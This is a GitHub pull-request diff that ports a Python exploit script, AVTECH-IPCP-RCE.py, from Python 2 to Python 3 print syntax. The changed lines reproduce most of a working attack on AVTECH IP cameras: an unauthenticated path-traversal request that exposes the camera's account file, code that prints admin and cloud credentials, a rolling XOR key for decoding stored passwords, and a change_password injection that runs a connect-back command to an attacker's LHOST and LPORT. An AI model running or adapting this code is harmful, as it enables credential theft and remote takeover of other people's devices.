Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Use print() function in both Python 2 and Python 3 #13

Closed
wants to merge 1 commit into from
Closed

Use print() function in both Python 2 and Python 3 #13

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
127 changes: 64 additions & 63 deletions AVTECH-IPCP-RCE.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
#
# Vendor: http://www.avtech.com.tw/
#
from __future__ import print_function
import socket
import select
import sys
Expand Down Expand Up @@ -46,29 +47,29 @@ def Send(self, uri, query_headers, query_data, ID):
url = '{}://{}{}'.format(self.proto, self.host, self.uri)

if self.verbose:
print "[Verbose] Sending:", url
print("[Verbose] Sending:", url)

if self.proto == 'https':
if hasattr(ssl, '_create_unverified_context'):
print "[i] Creating SSL Unverified Context"
print("[i] Creating SSL Unverified Context")
ssl._create_default_https_context = ssl._create_unverified_context

if self.credentials:
Basic_Auth = self.credentials.split(':')
if self.verbose:
print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1])
try:
pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
except Exception as e:
print "[!] Basic Auth Error:",e
print("[!] Basic Auth Error:",e)
sys.exit(1)

if self.noexploit and not self.verbose:
print "[<] 204 Not Sending!"
print("[<] 204 Not Sending!")
html = "Not sending any data"
return html
else:
Expand All @@ -79,7 +80,7 @@ def Send(self, uri, query_headers, query_data, ID):
try:
rsp = urllib2.urlopen(req)
except Exception as e:
print "[<] {}".format(str(e))
print("[<] {}".format(str(e)))
return False

if self.Raw:
Expand Down Expand Up @@ -163,16 +164,16 @@ def Send(self, message):
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.rhost, int(self.rport)))
print "[i] Connected"
print("[i] Connected")
except Exception as e:
print "[!] Connection failed ({})".format(e)
print("[!] Connection failed ({})".format(e))
sys.exit(1)

try:
print "[>] Sending"
print("[>] Sending")
self.sock.send(self.message) # No reply back from server
except Exception as e:
print "[!] Send failed ({})".format(e)
print("[!] Send failed ({})".format(e))
self.sock.close()
sys.exit(1)

Expand Down Expand Up @@ -221,10 +222,10 @@ def Send(self, message):
arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: {}\n".format(str(e))
print(INFO,"\nError: {}\n".format(str(e)))
sys.exit(1)

print INFO
print(INFO)

if args.verbose:
verbose = True
Expand All @@ -246,77 +247,77 @@ def Send(self, message):

# Check if RPORT is valid
if not Validate(verbose).Port(rport):
print "[!] Invalid RPORT - Choose between 1 and 65535"
print("[!] Invalid RPORT - Choose between 1 and 65535")
sys.exit(1)

# Check if LPORT is valid
if not Validate(verbose).Port(lport):
print "[!] Invalid LPORT - Choose between 1 and 65535"
print("[!] Invalid LPORT - Choose between 1 and 65535")
sys.exit(1)

# Check if RHOST is valid IP or FQDN, get IP back
rhost = Validate(verbose).Host(rhost)
if not rhost:
print "[!] Invalid RHOST"
print("[!] Invalid RHOST")
sys.exit(1)

# Check if LHOST is valid IP or FQDN, get IP back
lhost = Validate(verbose).Host(lhost)
if not lhost:
print "[!] Invalid LHOST"
print("[!] Invalid LHOST")
sys.exit(1)

#
# Validation done, start print out stuff to the user
#
print "[i] Remote target IP:",rhost
print "[i] Remote target PORT:",rport
print("[i] Remote target IP:",rhost)
print("[i] Remote target PORT:",rport)
if args.getrce:
print "[i] Connect back IP:",lhost
print "[i] Connect back PORT:",lport
print("[i] Connect back IP:",lhost)
print("[i] Connect back PORT:",lport)

remote_host = rhost+':'+rport

#
# Get some interesting info about remote target
#
try:
print "[>] -=[ Checking Remote Device Info ]=-"
print("[>] -=[ Checking Remote Device Info ]=-")
URI = "/nobody/Mediadesc_0.xml"
response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
if response and not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0':
print "[!] Remote server '{}' type is wrong".format(response.info().get('Server'))
print "[i] Exiting"
print("[!] Remote server '{}' type is wrong".format(response.info().get('Server')))
print("[i] Exiting")
sys.exit(1)
if not response:
URI = "/nobody/Mediadesc.xml"
response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
URI = "/nobody/GetVendors"
response2 = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
print "[<] Booted: {}".format(response2.info().get('Last-Modified'))
print("[<] Booted: {}".format(response2.info().get('Last-Modified')))
else:
print "[<] Booted: {}".format(response.info().get('Last-Modified'))
print("[<] Booted: {}".format(response.info().get('Last-Modified')))
if not response:
print "[!] Can't find remote server info..."
print "[i] Exiting"
print("[!] Can't find remote server info...")
print("[i] Exiting")
sys.exit(1)

except Exception as e:
pass

XML_2_JSON = xmltodict.parse(response.read())
print "[<] Model: {} {}".format(XML_2_JSON['root']['device']['manufacturer'],XML_2_JSON['root']['device']['modelDescription'])
print("[<] Model: {} {}".format(XML_2_JSON['root']['device']['manufacturer'],XML_2_JSON['root']['device']['modelDescription']))

URI = "/"
response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
if not response:
print "[<] Failed ({})".format(response)
print("[<] Failed ({})".format(response))
sys.exit(1)
if not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0':
print "[!] Remote server '{}' type is wrong".format(response.info().get('Server'))
print "[i] Exiting"
print("[!] Remote server '{}' type is wrong".format(response.info().get('Server')))
print("[i] Exiting")
sys.exit(1)
print "[<] Firmware date: {}".format(response.info().get('Last-Modified'))
print("[<] Firmware date: {}".format(response.info().get('Last-Modified')))
response = response.read()

#
Expand All @@ -327,25 +328,25 @@ def Send(self, message):
#
# We don't want to screw up things, so let's prepare to restore.
#
print "[>] -=[ Checking if remote using Captcha ]=-"
print("[>] -=[ Checking if remote using Captcha ]=-")
RESTORE_URI = ''
for captcha in range(0,len(response.split())):
if response.split()[captcha] == 'setTimeout("getCaptchaImg()",':
print "[<] Captcha: [True]"
print("[<] Captcha: [True]")
RESTORE_URI = "nobody/login.htm"
break
elif response.split()[captcha] == '//setTimeout("getCaptchaImg()",':
print "[<] Captcha: [False]"
print("[<] Captcha: [False]")
RESTORE_URI = "nobody/loginQuick.htm"
break
if not RESTORE_URI:
if args.getrce:
# Not safe enough to continue...
print "[!] Can't find Captcha! Not safe enough to continue..."
print("[!] Can't find Captcha! Not safe enough to continue...")
sys.exit(0)

RESTORE_URI = "nobody/login.htm"
print "[!] Can't find Captcha! Assuming '{}' is default...".format(RESTORE_URI)
print("[!] Can't find Captcha! Assuming '{}' is default...".format(RESTORE_URI))

#
# This seems to be some undocumented and unauthenticated write only API, that's hooking on 'IPCP/'
Expand All @@ -355,17 +356,17 @@ def Send(self, message):
# This one (#29) will change default web page to display, which can be redirected to any existing file.
# We will use '/mnt/database/xml/Account' as we can find remote device credentials in clear text or XOR'ed base64 encoded
#
print "[>] -=[ Trying to redirect default page to: /mnt/database/xml/Account ]=-"
print("[>] -=[ Trying to redirect default page to: /mnt/database/xml/Account ]=-")
ACCOUNT_URI = "../../../../../mnt/database/xml/Account"
request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(ACCOUNT_URI)) + "\r\n\r\n" + ACCOUNT_URI
AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request)

print "[>] -=[ Trying to retrieve /mnt/database/xml/Account ]=-"
print("[>] -=[ Trying to retrieve /mnt/database/xml/Account ]=-")
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response:
print "[<] Failed ({})".format(response)
print("[<] Failed ({})".format(response))
sys.exit(1)
print "[<] Received {} bytes".format(len(response))
print("[<] Received {} bytes".format(len(response)))
try:
#
# Let's find first available admin user and password
Expand All @@ -377,27 +378,27 @@ def Send(self, message):
Username = XML_2_JSON['Account'][user]['Username']['#text']
Password = XML_2_JSON['Account'][user]['Password']['#text']
Level = XML_2_JSON['Account'][user]['Level']['#text']
print "[<] Success"
print("[<] Success")
break
elif user == 'Cloud':
print "[<] Cloud Account: {}, Password: {}".format(XML_2_JSON['Account'][user]['Username'],XML_2_JSON['Account'][user]['Password'])
print("[<] Cloud Account: {}, Password: {}".format(XML_2_JSON['Account'][user]['Username'],XML_2_JSON['Account'][user]['Password']))
Username = XML_2_JSON['Account'][user]['SUPERVISOR']['Username']
Password = XML_2_JSON['Account'][user]['SUPERVISOR']['Password']
Level = 'SUPERVISOR'
if args.getrce:
print "[!] RCE not supported..."
print("[!] RCE not supported...")
args.getrce = False # Not found out how-to

except Exception as e:
print "[<] -=[ This host are not IPCP vulnerable! ]=-"
print "[!] Exiting!"
print("[<] -=[ This host are not IPCP vulnerable! ]=-")
print("[!] Exiting!")
sys.exit(1)

#
# Some newer FW versions password fields has XOR'ed base64 encoded passwords
#
if len(Password.split(":")) == 3 and Password.split(":")[0] == "enc":
print "[!] Deobfuscating base64 password: {} ({})".format(Password.split(":")[2],base64.b64decode(Password.split(":")[2]))
print("[!] Deobfuscating base64 password: {} ({})".format(Password.split(":")[2],base64.b64decode(Password.split(":")[2])))
Password = base64.b64decode(Password.split(":")[2])
XOR = [0x09,0x07,0x09,0x02,0x07,0x07,0x0a] # rolling XOR keys for each byte in the password
Password = bytearray(Password)
Expand All @@ -408,18 +409,18 @@ def Send(self, message):
Password[i] ^= XOR[key]
key += 1

print "[i] Level: {}, Username: {}, Password: {}".format(Level,Username,str(Password))
print("[i] Level: {}, Username: {}, Password: {}".format(Level,Username,str(Password)))
credentials = Username + ':' + str(Password)
# print json.dumps(XML_2_JSON,indent=4)

print "[>] Restore default page to: {}".format(RESTORE_URI)
print("[>] Restore default page to: {}".format(RESTORE_URI))
request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(RESTORE_URI)) + "\r\n\r\n" + RESTORE_URI
AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request)

if not args.getrce:
if verbose:
print json.dumps(XML_2_JSON,indent=4)
print "[i] All done"
print(json.dumps(XML_2_JSON,indent=4))
print("[i] All done")
sys.exit(0)

#
Expand All @@ -431,44 +432,44 @@ def Send(self, message):
RCE = RCE.replace('LHOST',lhost).replace('LPORT',lport)

URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(credentials) +'&new_password='+ base64.b64encode(RCE)
print "[>] -=[ Trying to add and execute RCE ]=-"
print("[>] -=[ Trying to add and execute RCE ]=-")
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response == False:
if not response.split()[1] == 'OK':
print "[<] Failed {}".format(response)
print("[<] Failed {}".format(response))
sys.exit(1)
else:
if len(response.split()) > 2:
print "[!] Something is not correct!! Exiting..."
print("[!] Something is not correct!! Exiting...")
if verbose:
print response
print(response)
sys.exit(1)
print "[<] {}".format(response.split()[1])
print("[<] {}".format(response.split()[1]))
else:
print "[<] Should be OK"
print("[<] Should be OK")
#
# Use 'RCE' as PWD to restore old PWD
#
creds = credentials.split(':')
tmp = creds[0] + ':' + RCE

URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(tmp) +'&new_password='+ base64.b64encode(creds[1])
print "[>] -=[ Trying to delete RCE and restore old PWD ]=-"
print("[>] -=[ Trying to delete RCE and restore old PWD ]=-")
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response:
sys.exit(1)
if not response.split()[1] == 'OK':
print "[<] Failed {}".format(response)
print("[<] Failed {}".format(response))
sys.exit(1)
else:
if len(response.split()) > 2:
print "[!] Something is not correct!! Exiting..."
print("[!] Something is not correct!! Exiting...")
if verbose:
print response
print(response)
sys.exit(1)
print "[<] {}".format(response.split()[1])
print("[<] {}".format(response.split()[1]))

print "[i] All done"
print("[i] All done")

# [EOF]

Loading